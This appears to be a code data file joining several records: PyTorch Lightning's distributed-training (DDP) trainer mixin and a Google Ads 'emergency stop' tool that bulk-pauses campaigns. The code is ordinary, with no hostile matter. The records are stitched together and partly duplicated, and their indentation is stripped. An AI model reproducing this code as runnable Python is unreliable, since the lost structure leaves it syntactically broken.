# when user is using hydra find the absolute path
path_lib = abspath if not HYDRA_AVAILABLE else to_absolute_path
# pull out the commands used to run the script and resolve the abs file path
command = sys.argv
try:
full_path = path_lib(command[0])
except Exception as e:
full_path = abspath(command[0])
command[0] = full_path
command = ['python'] + command
# since this script sets the visible devices we replace the gpus flag with a number
num_gpus = os.environ['CUDA_VISIBLE_DEVICES'].split(',').__len__()
if '--gpus' in command:
gpu_flag_idx = command.index('--gpus')
command[gpu_flag_idx + 1] = f'{num_gpus}'
os.environ['WORLD_SIZE'] = f'{num_gpus * self.num_nodes}'
self.interactive_ddp_procs = []
for local_rank in range(1, self.num_processes):
env_copy = os.environ.copy()
env_copy['LOCAL_RANK'] = f'{local_rank}'
# import pdb; pdb.set_trace()
# start process
proc = subprocess.Popen(command, env=env_copy)
self.interactive_ddp_procs.append(proc)
# starting all processes at once can cause issues
# with dataloaders delay between 1-10 seconds
delay = np.random.uniform(1, 5, 1)[0]
sleep(delay)
local_rank = 0
self.ddp_train(local_rank, model, is_master=True)
def ddp_train(self, process_idx, model, is_master=False, proc_offset=0):
"""
Entry point into a DP thread
:param gpu_idx:
:param model:
:param cluster_obj:
:return:
"""
# offset the process id if requested
process_idx = process_idx + proc_offset
# show progressbar only on progress_rank 0
if (self.node_rank != 0 or process_idx != 0) and self.progress_bar_callback is not None:
self.progress_bar_callback.disable()
# determine which process we are and world size
if self.use_ddp:
self.local_rank = process_idx
self.global_rank = self.node_rank * self.num_processes + process_idx
self.world_size = self.num_nodes * self.num_processes
elif self.use_ddp2:
self.local_rank = self.node_rank
self.global_rank = self.node_rank
self.world_size = self.num_nodes
# set warning rank
rank_zero_only.rank = self.global_rank
# set up server using proc 0's ip address
# try to init for 20 times at max in case ports are taken
# where to store ip_table
model.trainer = self
model.init_ddp_connection(self.global_rank, self.world_size, self.is_slurm_managing_tasks)
# on world_size=0 let everyone know training is starting
if self.is_global_zero:
log.info('-' * 100)
log.info(f'distributed_backend={self.distributed_backend}')
log.info(f'All DDP processes registered. Starting ddp with {self.world_size} processes')
log.info('-' * 100)
# CHOOSE OPTIMIZER
# allow for lr schedulers as well
self.optimizers, self.lr_schedulers, self.optimizer_frequencies = self.init_optimizers(model)
# MODEL
# copy model to each gpu
if self.on_gpu:
gpu_idx = process_idx
if is_master:
# source of truth is cuda for gpu idx
gpus = os.environ['CUDA_VISIBLE_DEVICES'].split(',')
gpu_idx = int(gpus[self.local_rank])
self.root_gpu = gpu_idx
torch.cuda.set_device(self.root_gpu)
model.cuda(self.root_gpu)
# set model properties before going into wrapper
self.copy_trainer_model_properties(model)
# AMP
# run through amp wrapper before going to distributed DP
# TODO: remove in v0.8.0
if self.use_amp and not self.use_native_amp:
model, optimizers = model.configure_apex(amp, model, self.optimizers, self.amp_level)
self.optimizers = optimizers
self.reinit_scheduler_properties(self.optimizers, self.lr_schedulers)
# DDP2 uses all GPUs on the machine
if self.distributed_backend == 'ddp' or self.distributed_backend == 'ddp_spawn':
device_ids = [self.root_gpu]
elif self.use_ddp2:
device_ids = self.data_parallel_device_ids
else: # includes ddp_cpu
device_ids = None
# allow user to configure ddp
model = model.configure_ddp(model, device_ids)
# continue training routine
self.run_pretrain_routine(model)
def save_spawn_weights(self, model):
"""
Dump a temporary checkpoint after ddp ends to get weights out of the process
:param model:
:return:
"""
if self.is_global_zero:
path = os.path.join(self.default_root_dir, '__temp_weight_ddp_end.ckpt')
self.save_checkpoint(path)
def load_spawn_weights(self, original_model):
"""
Load the temp weights saved in the process
To recover the trained model from the ddp process we load the saved weights
:param model:
:return:
"""
loaded_model = original_model
if self.is_global_zero:
# load weights saved in ddp
path = os.path.join(self.default_root_dir, '__temp_weight_ddp_end.ckpt')
loaded_model = original_model.__class__.load_from_checkpoint(path)
# copy loaded weights to old model
original_model.load_state_dict(loaded_model.state_dict())
# remove ddp weights
os.remove(path)
return loaded_model
def resolve_root_node_address(self, root_node):
if '[' in root_node:
name, numbers = root_node.split('[', maxsplit=1)
number = numbers.split(',', maxsplit=1)[0]
if '-' in number:
number = number.split('-')[0]
number = re.sub('[^0-9]', '', number)
root_node = name + number
return root_node
def _set_horovod_backend(self):
self.check_horovod()
self.use_horovod = True
# Initialize Horovod to get rank / size info
hvd.init()
if self.on_gpu:
# Horovod assigns one local GPU per process
self.root_gpu = hvd.local_rank()
def check_horovod(self):
"""Raises a `MisconfigurationException` if the Trainer is not configured correctly for Horovod."""
if not HOROVOD_AVAILABLE:
raise MisconfigurationException(
'Requested `distributed_backend="horovod"`, but Horovod is not installed.'
'Install with \n $HOROVOD_WITH_PYTORCH=1 pip install horovod[pytorch]'
)
if self.num_gpus > 1 or self.num_nodes > 1:
raise MisconfigurationException(
'Horovod does not support setting num_nodes / num_gpus explicitly. Use '
'horovodrun / mpirun to configure the number of processes.'
)
@staticmethod
def has_horovodrun():
"""Returns True if running with `horovodrun` using Gloo or OpenMPI."""
return 'OMPI_COMM_WORLD_RANK' in os.environ or 'HOROVOD_RANK' in os.environ
| """
Lightning supports model training on a cluster managed by SLURM in the following cases:
1. Training on a single cpu or single GPU.
2. Train on multiple GPUs on the same node using DataParallel or DistributedDataParallel
3. Training across multiple GPUs on multiple different nodes via DistributedDataParallel.
.. note:: A node means a machine with multiple GPUs
Running grid search on a cluster
--------------------------------
To use lightning to run a hyperparameter search (grid-search or random-search) on a cluster do 4 things:
(1). Define the parameters for the grid search
.. code-block:: python
from test_tube import HyperOptArgumentParser
# subclass of argparse
parser = HyperOptArgumentParser(strategy='random_search')
parser.add_argument('--learning_rate', default=0.002, type=float, help='the learning rate')
# let's enable optimizing over the number of layers in the network
parser.opt_list('--nb_layers', default=2, type=int, tunable=True, options=[2, 4, 8])
hparams = parser.parse_args()
.. note:: You must set `Tunable=True` for that argument to be considered in the permutation set.
Otherwise test-tube will use the default value. This flag is useful when you don't want
to search over an argument and want to use the default instead.
(2). Define the cluster options in the
`SlurmCluster object <https://williamfalcon.github.io/test-tube/hpc/SlurmCluster>`_ (over 5 nodes and 8 gpus)
.. code-block:: python
from test_tube.hpc import SlurmCluster
# hyperparameters is a test-tube hyper params object
# see https://williamfalcon.github.io/test-tube/hyperparameter_optimization/HyperOptArgumentParser/
hyperparams = args.parse()
# init cluster
cluster = SlurmCluster(
hyperparam_optimizer=hyperparams,
log_path='/path/to/log/results/to',
python_cmd='python3'
)
# let the cluster know where to email for a change in job status (ie: complete, fail, etc...)
cluster.notify_job_status(email='some@email.com', on_done=True, on_fail=True)
# set the job options. In this instance, we'll run 20 different models
# each with its own set of hyperparameters giving each one 1 GPU (ie: taking up 20 GPUs)
cluster.per_experiment_nb_gpus = 8
cluster.per_experiment_nb_nodes = 5
# we'll request 10GB of memory per node
cluster.memory_mb_per_node = 10000
# set a walltime of 10 minues
cluster.job_time = '10:00'
(3). Make a main function with your model and trainer. Each job will call this function with a particular
hparams configuration.::
from pytorch_lightning import Trainer
def train_fx(trial_hparams, cluster_manager, _):
# hparams has a specific set of hyperparams
my_model = MyLightningModel()
# give the trainer the cluster object
trainer = Trainer()
trainer.fit(my_model)
`
(4). Start the grid/random search::
# run the models on the cluster
cluster.optimize_parallel_cluster_gpu(
train_fx,
nb_trials=20,
job_name='my_grid_search_exp_name',
job_display_name='my_exp')
.. note:: `nb_trials` specifies how many of the possible permutations to use. If using `grid_search` it will use
the depth first ordering. If using `random_search` it will use the first k shuffled options. FYI, random search
has been shown to be just as good as any Bayesian optimization method when using a reasonable number of samples (60),
see this `paper <http://www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf>`_ for more information.
Walltime auto-resubmit
----------------------
Lightning automatically resubmits jobs when they reach the walltime. Make sure to set the SIGUSR1 signal in
your SLURM script.::
# 90 seconds before training ends
#SBATCH --signal=SIGUSR1@90
When lightning receives the SIGUSR1 signal it will:
1. save a checkpoint with 'hpc_ckpt' in the name.
2. resubmit the job using the SLURM_JOB_ID
When the script starts again, Lightning will:
1. search for a 'hpc_ckpt' checkpoint.
2. restore the model, optimizers, schedulers, epoch, etc...
"""
import os
import re
from abc import ABC, abstractmethod
from typing import Union, List, Optional, Callable, Tuple
import subprocess
import sys
from time import sleep
import numpy as np
from os.path import abspath
import torch
from pytorch_lightning import _logger as log
from pytorch_lightning.callbacks import ModelCheckpoint
from pytorch_lightning.loggers import LightningLoggerBase
from pytorch_lightning.utilities.exceptions import MisconfigurationException
from pytorch_lightning.utilities.distributed import rank_zero_only, rank_zero_warn, rank_zero_info
try:
from apex import amp
except ImportError:
APEX_AVAILABLE = False
else:
APEX_AVAILABLE = True
try:
import horovod.torch as hvd
except ImportError:
HOROVOD_AVAILABLE = False
else:
HOROVOD_AVAILABLE = True
try:
from hydra.utils import to_absolute_path
except ImportError:
HYDRA_AVAILABLE = False
else:
HYDRA_AVAILABLE = True
class TrainerDDPMixin(ABC):
# this is just a summary on variables used in this abstract class,
# the proper values/initialisation should be done in child class
on_gpu: bool
num_gpu_nodes: int
gpus: List[int]
logger: Union[LightningLoggerBase, bool]
checkpoint_callback: Union[ModelCheckpoint, bool]
data_parallel_device_ids: ...
distributed_backend: Optional[str]
amp_level: str
use_tpu: bool
default_root_dir: str
use_native_amp: bool
progress_bar_callback: ...
num_processes: int
num_nodes: int
node_rank: int
@property
def is_global_zero(self) -> int:
"""Warning: this is just empty shell for code implemented in other class."""
@property
@abstractmethod
def num_gpus(self) -> int:
"""Warning: this is just empty shell for code implemented in other class."""
@property
@abstractmethod
def use_amp(self) -> bool:
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def copy_trainer_model_properties(self, *args):
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def run_pretrain_routine(self, *args):
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def init_optimizers(self, *args) -> Tuple[List, List, List]:
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def reinit_scheduler_properties(self, *args):
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def save_checkpoint(self, *args):
"""Warning: this is just empty shell for code implemented in other class."""
def init_tpu(self):
# turn off all the GPU stuff
self.distributed_backend = None
# enable tpu
self.use_tpu = True
def set_distributed_mode(self, distributed_backend):
self.use_dp = False
self.use_ddp = False
self.use_ddp2 = False
self.use_horovod = False
self.single_gpu = False
if distributed_backend is None:
if self.has_horovodrun():
self._set_horovod_backend()
elif self.num_gpus == 0:
if self.num_nodes > 1 or self.num_processes > 1:
self.use_ddp = True # ddp_cpu
elif self.num_gpus == 1:
self.single_gpu = True
elif self.num_gpus > 1:
rank_zero_warn('You requested multiple GPUs but did not specify a backend, e.g.'
' Trainer(distributed_backend=dp) (or ddp, ddp2).'
' Setting distributed_backend=ddp_spawn for you.')
self.distributed_backend = 'ddp_spawn'
distributed_backend = 'ddp_spawn'
if distributed_backend == "dp":
# do nothing if num_gpus == 0
if self.num_gpus == 1:
self.single_gpu = True
self.use_dp = True
elif self.num_gpus > 1:
self.use_dp = True
elif distributed_backend in ['ddp', 'ddp_spawn']:
if self.num_gpus == 0:
if self.num_nodes > 1 or self.num_processes > 1:
self.use_ddp = True # ddp_cpu
elif self.num_gpus == 1:
self.single_gpu = True
self.use_ddp = True
elif self.num_gpus > 1:
self.use_ddp = True
self.num_processes = self.num_gpus
elif distributed_backend == "ddp2":
# do nothing if num_gpus == 0
if self.num_gpus >= 1:
self.use_ddp2 = True
elif distributed_backend == "ddp_cpu":
if self.num_gpus > 0:
rank_zero_warn('You requested one or more GPUs, but set the backend to `ddp_cpu`.'
' Training will not use GPUs.')
self.use_ddp = True
self.data_parallel_device_ids = None
self.on_gpu = False
elif distributed_backend == 'horovod':
self._set_horovod_backend()
# throw error to force user ddp or ddp2 choice
if self.num_nodes > 1 and not (self.use_ddp2 or self.use_ddp):
raise MisconfigurationException(
'DataParallel does not support num_nodes > 1. Switching to DistributedDataParallel for you. '
'To silence this warning set distributed_backend=ddp or distributed_backend=ddp2'
)
rank_zero_info(f'GPU available: {torch.cuda.is_available()}, used: {self.on_gpu}')
def configure_slurm_ddp(self, num_gpu_nodes):
self.is_slurm_managing_tasks = False
# extract SLURM flag vars
# whenever we have the correct number of tasks, we let slurm manage processes
# otherwise we launch the required number of processes
if self.use_ddp:
self.num_requested_gpus = self.num_gpus * num_gpu_nodes
self.num_slurm_tasks = 0
try:
self.num_slurm_tasks = int(os.environ['SLURM_NTASKS'])
self.is_slurm_managing_tasks = self.num_slurm_tasks == self.num_requested_gpus
# in interactive mode we don't manage tasks
job_name = os.environ['SLURM_JOB_NAME']
if job_name == 'bash':
self.is_slurm_managing_tasks = False
except Exception:
# likely not on slurm, so set the slurm managed flag to false
self.is_slurm_managing_tasks = False
# used for tests only, set this flag to simulate slurm managing a task
try:
should_fake = int(os.environ['FAKE_SLURM_MANAGING_TASKS'])
if should_fake:
self.is_slurm_managing_tasks = True
except Exception:
pass
# notify user the that slurm is managing tasks
if self.is_slurm_managing_tasks:
rank_zero_info('Multi-processing is handled by Slurm.')
def determine_local_rank(self):
if self.is_slurm_managing_tasks:
return int(os.environ['SLURM_LOCALID'])
else:
return int(os.environ.get('LOCAL_RANK', 0))
def determine_ddp_node_rank(self):
if self.is_slurm_managing_tasks:
return int(os.environ['SLURM_NODEID'])
# torchelastic uses the envvar GROUP_RANK, whereas other systems(?) use NODE_RANK.
# otherwise use given node rank or default to node rank 0
env_vars = ['NODE_RANK', 'GROUP_RANK']
node_ids = [(k, os.environ.get(k, None)) for k in env_vars]
node_ids = [(k, v) for k, v in node_ids if v is not None]
if len(node_ids) == 0:
log.warning("No environment variable for node rank defined. Set as 0.")
return 0
if len(node_ids) > 1:
log.warning(f"Multiple environment variables ({node_ids}) defined for node rank. "
f"Using the first one.")
k, rank = node_ids.pop()
rank_zero_info(f"Using environment variable {k} for node rank ({rank}).")
return int(rank)
def set_nvidia_flags(self, is_slurm_managing_tasks, data_parallel_device_ids):
if data_parallel_device_ids is None:
return
# set the correct cuda visible devices (using pci order)
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
# when slurm is managing the task it sets the visible devices
if not is_slurm_managing_tasks and 'CUDA_VISIBLE_DEVICES' not in os.environ:
if isinstance(data_parallel_device_ids, int):
id_str = ','.join(str(x) for x in list(range(data_parallel_device_ids)))
os.environ["CUDA_VISIBLE_DEVICES"] = id_str
else:
gpu_str = ','.join([str(x) for x in data_parallel_device_ids])
os.environ["CUDA_VISIBLE_DEVICES"] = gpu_str
# don't make this debug... this is good UX
rank_zero_info(f'CUDA_VISIBLE_DEVICES: [{os.environ["CUDA_VISIBLE_DEVICES"]}]')
def __set_random_port(self):
"""
When running DDP NOT managed by SLURM, the ports might collide
:return:
"""
try:
default_port = os.environ['MASTER_PORT']
except Exception:
import random
default_port = random.randint(10000, 19000)
os.environ['MASTER_PORT'] = str(default_port)
def spawn_ddp_children(self, model):
self.__set_random_port()
port = os.environ['MASTER_PORT']
master_address = '127.0.0.1' if 'MASTER_ADDR' not in os.environ else os.environ['MASTER_ADDR']
os.environ['MASTER_PORT'] = f'{port}'
os.environ['MASTER_ADDR'] = f'{master_address}'
# allow the user to pass the node rank
node_rank = '0'
if 'NODE_RANK' in os.environ:
node_rank = os.environ['NODE_RANK']
if 'GROUP_RANK' in os.environ:
node_rank = os.environ['GROUP_RANK']
os.environ['NODE_RANK'] = node_rank
os.environ['LOCAL_RANK'] = '0'
# when user is using hydra find the absolute path
path_lib = abspath if not HYDRA_AVAILABLE else to_absolute_path
# pull out the commands used to run the script and resolve the abs file path
command = sys.argv
try:
full_path = path_lib(command[0])
except Exception as e:
full_path = abspath(command[0])
command[0] = full_path
command = ['python'] + command
# since this script sets the visible devices we replace the gpus flag with a number
num_gpus = os.environ['CUDA_VISIBLE_DEVICES'].split(',').__len__()
if '--gpus' in command:
gpu_flag_idx = command.index('--gpus')
command[gpu_flag_idx + 1] = f'{num_gpus}'
os.environ['WORLD_SIZE'] = f'{num_gpus * self.num_nodes}'
self.interactive_ddp_procs = []
for local_rank in range(1, self.num_processes):
env_copy = os.environ.copy()
env_copy['LOCAL_RANK'] = f'{local_rank}'
# import pdb; pdb.set_trace()
# start process
proc = subprocess.Popen(command, env=env_copy)
self.interactive_ddp_procs.append(proc)
# starting all processes at once can cause issues
# with dataloaders delay between 1-10 seconds
delay = np.random.uniform(1, 5, 1)[0]
sleep(delay)
local_rank = 0
self.ddp_train(local_rank, model, is_master=True)
def ddp_train(self, process_idx, model, is_master=False, proc_offset=0):
"""
Entry point into a DP thread
:param gpu_idx:
:param model:
:param cluster_obj:
:return:
"""
# offset the process id if requested
process_idx = process_idx + proc_offset
# show progressbar only on progress_rank 0
if (self.node_rank != 0 or process_idx != 0) and self.progress_bar_callback is not None:
self.progress_bar_callback.disable()
# determine which process we are and world size
if self.use_ddp:
self.local_rank = process_idx
self.global_rank = self.node_rank * self.num_processes + process_idx
self.world_size = self.num_nodes * self.num_processes
elif self.use_ddp2:
self.local_rank = self.node_rank
self.global_rank = self.node_rank
self.world_size = self.num_nodes
# set warning rank
rank_zero_only.rank = self.global_rank
# set up server using proc 0's ip address
# try to init for 20 times at max in case ports are taken
# where to store ip_table
model.trainer = self
model.init_ddp_connection(self.global_rank, self.world_size, self.is_slurm_managing_tasks)
# on world_size=0 let everyone know training is starting
if self.is_global_zero:
log.info('-' * 100)
log.info(f'distributed_backend={self.distributed_backend}')
log.info(f'All DDP processes registered. Starting ddp with {self.world_size} processes')
log.info('-' * 100)
# CHOOSE OPTIMIZER
# allow for lr schedulers as well
self.optimizers, self.lr_schedulers, self.optimizer_frequencies = self.init_optimizers(model)
# MODEL
# copy model to each gpu
if self.on_gpu:
gpu_idx = process_idx
if is_master:
# source of truth is cuda for gpu idx
gpus = os.environ['CUDA_VISIBLE_DEVICES'].split(',')
gpu_idx = int(gpus[self.local_rank])
self.root_gpu = gpu_idx
torch.cuda.set_device(self.root_gpu)
model.cuda(self.root_gpu)
# set model properties before going into wrapper
self.copy_trainer_model_properties(model)
# AMP
# run through amp wrapper before going to distributed DP
# TODO: remove in v0.8.0
if self.use_amp and not self.use_native_amp:
model, optimizers = model.configure_apex(amp, model, self.optimizers, self.amp_level)
self.optimizers = optimizers
self.reinit_scheduler_properties(self.optimizers, self.lr_schedulers)
# DDP2 uses all GPUs on the machine
if self.distributed_backend == 'ddp' or self.distributed_backend == 'ddp_spawn':
device_ids = [self.root_gpu]
elif self.use_ddp2:
device_ids = self.data_parallel_device_ids
else: # includes ddp_cpu
device_ids = None
# allow user to configure ddp
model = model.configure_ddp(model, device_ids)
# continue training routine
self.run_pretrain_routine(model)
def save_spawn_weights(self, model):
"""
Dump a temporary checkpoint after ddp ends to get weights out of the process
:param model:
:return:
"""
if self.is_global_zero:
path = os.path.join(self.default_root_dir, '__temp_weight_ddp_end.ckpt')
self.save_checkpoint(path)
def load_spawn_weights(self, original_model):
"""
Load the temp weights saved in the process
To recover the trained model from the ddp process we load the saved weights
:param model:
:return:
"""
loaded_model = original_model
if self.is_global_zero:
# load weights saved in ddp
path = os.path.join(self.default_root_dir, '__temp_weight_ddp_end.ckpt')
loaded_model = original_model.__class__.load_from_checkpoint(path)
# copy loaded weights to old model
original_model.load_state_dict(loaded_model.state_dict())
# remove ddp weights
os.remove(path)
return loaded_model
def resolve_root_node_address(self, root_node):
if '[' in root_node:
name, numbers = root_node.split('[', maxsplit=1)
number = numbers.split(',', maxsplit=1)[0]
if '-' in number:
number = number.split('-')[0]
number = re.sub('[^0-9]', '', number)
root_node = name + number
return root_node
def _set_horovod_backend(self):
self.check_horovod()
self.use_horovod = True
# Initialize Horovod to get rank / size info
hvd.init()
if self.on_gpu:
# Horovod assigns one local GPU per process
self.root_gpu = hvd.local_rank()
def check_horovod(self):
"""Raises a `MisconfigurationException` if the Trainer is not configured correctly for Horovod."""
if not HOROVOD_AVAILABLE:
raise MisconfigurationException(
'Requested `distributed_backend="horovod"`, but Horovod is not installed.'
'Install with \n $HOROVOD_WITH_PYTORCH=1 pip install horovod[pytorch]'
)
if self.num_gpus > 1 or self.num_nodes > 1:
raise MisconfigurationException(
'Horovod does not support setting num_nodes / num_gpus explicitly. Use '
'horovodrun / mpirun to configure the number of processes.'
)
@staticmethod
def has_horovodrun():
"""Returns True if running with `horovodrun` using Gloo or OpenMPI."""
return 'OMPI_COMM_WORLD_RANK' in os.environ or 'HOROVOD_RANK' in os.environ
|
import re
import os
import json
import sys
import traceback
from hashlib import sha1
from queue import Queue, Empty
from threading import Thread
from itertools import zip_longest
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from collections import defaultdict
from google.ads.googleads.client import GoogleAdsClient
from google.api_core import protobuf_helpers
from .banner import banner
from .auth import load_user_auth, load_organization_auth
cache_directory = os.path.join(
os.getenv('HOME'), '.cache', 'sem-emergency-stop'
)
blob_directory = os.path.join(cache_directory, 'blobs')
match_customer_id = re.compile(r'^customers/\d+/customerClients/(\d+)$').match
def grouper(iterable, n, fillvalue=None):
"Collect data into fixed-length chunks or blocks"
args = [iter(iterable)] * n
return zip_longest(*args, fillvalue=fillvalue)
def parse_customer_id(resource_name):
return int(match_customer_id(resource_name).group(1))
def query(service, customer_id, query):
return service.search_stream(customer_id=str(customer_id), query=query)
def collect_customer_ids(client):
service = client.get_service('GoogleAdsService', version='v8')
return [
parse_customer_id(row.customer_client.resource_name)
for response in query(
service,
client.login_customer_id,
'SELECT customer.id FROM customer_client',
)
for row in response.results
]
def load_blob(sha1_hash):
with open(os.path.join(blob_directory, sha1_hash), 'rb') as f:
return json.load(f)
def load_campaign_sets(sha1_hash):
return load_blob(sha1_hash)['campaign_sets']
def store_blob(obj):
data = json.dumps(obj, sort_keys=True).encode('utf-8')
sha1_hash = sha1(data).hexdigest()
with open(os.path.join(blob_directory, sha1_hash), 'wb') as f:
f.write(data)
return sha1_hash
def store_customer_campaign_set(customer_id, campaign_ids):
return store_blob(
{
'customer_id': customer_id,
'campaign_ids': sorted(campaign_ids),
}
)
def store_campaign_sets(campaign_sets):
return store_blob(
{
'campaign_sets': sorted(campaign_sets),
}
)
def collect_campaign_ids(client, customer_id):
service = client.get_service('GoogleAdsService', version='v8')
return [
row.campaign.id
for response in query(
service,
customer_id,
"""
SELECT campaign.id
FROM campaign
WHERE
campaign.status = 'ENABLED'
AND campaign.experiment_type = 'BASE'
AND campaign.advertising_channel_type != 'VIDEO'
AND campaign.advertising_channel_type != 'LOCAL'""",
)
for row in response.results
]
def retrieve_campaign_ids(
client, verbose, customer_ids, campaign_sets, progress_queue
):
while True:
try:
customer_id = customer_ids.get_nowait()
except Empty:
return
ids = collect_campaign_ids(client, customer_id)
campaign_set = store_customer_campaign_set(customer_id, ids)
campaign_sets.put(campaign_set)
progress_queue.put_nowait(('customers', 1))
progress_queue.put_nowait(('campaigns', len(ids)))
customer_ids.task_done()
def get_operation(client, service, customer_id, campaign_id, is_pause):
operation = client.get_type('CampaignOperation', version='v8')
campaign = operation.update
campaign.resource_name = service.campaign_path(customer_id, campaign_id)
enum = client.get_type('CampaignStatusEnum', version='v8')
campaign.status = enum.PAUSED if is_pause else enum.ENABLED
operation.update_mask.CopyFrom(protobuf_helpers.field_mask(None, campaign))
return operation
def mutate_campaigns(
client,
service,
sha1_hash,
verbose,
no_dry_run,
is_pause,
campaign_set_queue,
progress_queue,
):
campaign_set = load_blob(sha1_hash)
customer_id = campaign_set['customer_id']
campaign_ids = campaign_set['campaign_ids']
if not campaign_ids:
progress_queue.put(('customers', 1))
return
for chunk in grouper(campaign_ids, 1000):
request = client.get_type('MutateCampaignsRequest')
request.customer_id = str(customer_id)
request.validate_only = not no_dry_run
for campaign_id in chunk:
if campaign_id:
request.operations.append(
get_operation(
client, service, customer_id, campaign_id, is_pause
)
)
service.mutate_campaigns(request)
progress_queue.put(('campaigns', len(request.operations)))
progress_queue.put(('customers', 1))
def mutate_worker(
client, verbose, no_dry_run, is_pause, campaign_set_queue, progress_queue
):
service = client.get_service('CampaignService', version='v8')
while True:
try:
sha1_hash = campaign_set_queue.get_nowait()
except Empty:
return
try:
mutate_campaigns(
client,
service,
sha1_hash,
verbose,
no_dry_run,
is_pause,
campaign_set_queue,
progress_queue,
)
except Exception:
# We don't want this worker thread to die and block joining
# at the end of the process.
traceback.print_exc()
campaign_set_queue.task_done()
def get_all(queue):
while True:
try:
yield queue.get_nowait()
except Empty:
return
def start_workers(num, func, args):
for i in range(num):
Thread(target=func, args=args).start()
def progress_monitor(totals, progress_queue, exit_queue):
progress = defaultdict(int)
while True:
metric, n = progress_queue.get()
progress[metric] += n
end = "\n" if metric == 'exit' else "\r"
print(
f" completed {progress["customers"]}/{totals["customers"]} "
f"customers and {progress["campaigns"]} campaigns",
end=end,
)
if metric == 'exit':
exit_queue.put(True)
return
def start_progress_monitor(totals):
progress_queue = Queue()
exit_queue = Queue()
Thread(
target=progress_monitor, args=(totals, progress_queue, exit_queue)
).start()
return progress_queue, exit_queue
def collect(client, args):
customer_id_queue = Queue()
campaign_set_queue = Queue()
print('[1/3] getting customer ids...')
customer_ids = collect_customer_ids(client)
customer_count = len(customer_ids)
if customer_count == 1:
print('found one customer')
else:
print(f'found {customer_count} customers')
for customer_id in customer_ids:
customer_id_queue.put(customer_id)
progress_queue, exit_queue = start_progress_monitor(
{'customers': customer_count}
)
progress_queue.put_nowait(('init', 1))
print('[2/3] getting campaign ids...')
start_workers(
args.workers,
retrieve_campaign_ids,
(
client,
args.verbose,
customer_id_queue,
campaign_set_queue,
progress_queue,
),
)
customer_id_queue.join()
progress_queue.put_nowait(('exit', 1))
exit_queue.get()
campaign_sets = store_campaign_sets(get_all(campaign_set_queue))
print(f'[2/3] committed campaign sets {campaign_sets}')
return campaign_sets
def pause_unpause(client, args, is_pause):
campaign_sets_id = args.campaign_sets or collect(client, args)
step_num = 1 if args.campaign_sets else 3
step = f'[{step_num}/{step_num}]'
print(f'{step} loading campaign sets {campaign_sets_id}...')
campaign_set_queue = Queue()
campaign_sets = load_campaign_sets(campaign_sets_id)
for campaign_set in campaign_sets:
campaign_set_queue.put(campaign_set)
progress_queue, exit_queue = start_progress_monitor(
{'customers': len(campaign_sets)}
)
progress_queue.put_nowait(('init', 1))
print(f"{step} {"" if is_pause else "un"}pausing campaigns...")
start_workers(
args.workers,
mutate_worker,
(
client,
args.verbose,
args.no_dry_run,
is_pause,
campaign_set_queue,
progress_queue,
),
)
campaign_set_queue.join()
progress_queue.put_nowait(('exit', 1))
exit_queue.get()
print('done')
if is_pause:
print('you can unpause by running')
print(f'{sys.argv[0]} unpause --no-dry-run {campaign_sets_id}')
def pause(client, args):
return pause_unpause(client, args, True)
def unpause(client, args):
return pause_unpause(client, args, False)
def setup(client, args):
print('All set up!')
def parse_arguments(args):
parser = ArgumentParser(
formatter_class=RawDescriptionHelpFormatter,
description=banner + '\n\nEmergency stop for all Google SEM',
)
subparsers = parser.add_subparsers(help='sub-command help')
all_shared = ArgumentParser(add_help=False)
all_shared.add_argument(
'--workers',
help='use NUM workers in parallel',
type=int,
metavar='NUM',
default=16,
)
all_shared.add_argument('-v', '--verbose', action='store_true')
collect_parser = subparsers.add_parser(
'collect', help='only collect campaign ids', parents=[all_shared]
)
collect_parser.set_defaults(func=collect)
mutation_shared = ArgumentParser(add_help=False)
mutation_shared.add_argument(
'--no-dry-run',
help='actually perform the mutations',
action='store_true',
)
pause_parser = subparsers.add_parser(
'pause', help='pause campaigns', parents=[all_shared, mutation_shared]
)
pause_parser.add_argument(
'campaign_sets',
help='use CAMPAIGN-SETS for pausing',
metavar='CAMPAIGN-SETS',
nargs='?',
)
pause_parser.set_defaults(func=pause)
unpause_parser = subparsers.add_parser(
'unpause',
help='unpause campaigns',
parents=[all_shared, mutation_shared],
)
unpause_parser.add_argument(
'campaign_sets',
help='use CAMPAIGN-SETS for unpausing (use the hash from pausing)',
metavar='CAMPAIGN-SETS',
)
unpause_parser.set_defaults(func=unpause)
setup_parser = subparsers.add_parser(
'setup', help='set up authentication only', parents=[all_shared]
)
setup_parser.set_defaults(func=setup)
return parser.parse_args(args or ['pause', '--help'])
def run():
os.makedirs(blob_directory, exist_ok=True)
args = parse_arguments(sys.argv[1:])
print(banner)
credentials = {
**load_organization_auth(),
**load_user_auth(),
'use_proto_plus': False,
}
client = GoogleAdsClient.load_from_dict(credentials)
if 'no_dry_run' in args:
if args.no_dry_run:
print(
"\033[31mYou are about to do a non-dry run, please type YOLO:"
)
if input('> ') != 'YOLO':
print('alright, that was close!')
sys.exit(-1)
else:
print('*** THIS IS A DRY RUN ***')
print('to perform a non-dry run, supply --no-dry-run')
args.func(client, args)
if 'no_dry_run' in args and not args.no_dry_run:
print('*** THIS WAS A DRY RUN ***')
| import re
import os
import json
import sys
import traceback
from hashlib import sha1
from queue import Queue, Empty
from threading import Thread
from itertools import zip_longest
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from collections import defaultdict
from google.ads.googleads.client import GoogleAdsClient
from google.api_core import protobuf_helpers
from .banner import banner
from .auth import load_user_auth, load_organization_auth
cache_directory = os.path.join(
os.getenv('HOME'), '.cache', 'sem-emergency-stop'
)
blob_directory = os.path.join(cache_directory, 'blobs')
match_customer_id = re.compile(r'^customers/\d+/customerClients/(\d+)$').match
def grouper(iterable, n, fillvalue=None):
"Collect data into fixed-length chunks or blocks"
args = [iter(iterable)] * n
return zip_longest(*args, fillvalue=fillvalue)
def parse_customer_id(resource_name):
return int(match_customer_id(resource_name).group(1))
def query(service, customer_id, query):
return service.search_stream(customer_id=str(customer_id), query=query)
def collect_customer_ids(client):
service = client.get_service('GoogleAdsService', version='v8')
return [
parse_customer_id(row.customer_client.resource_name)
for response in query(
service,
client.login_customer_id,
'SELECT customer.id FROM customer_client',
)
for row in response.results
]
def load_blob(sha1_hash):
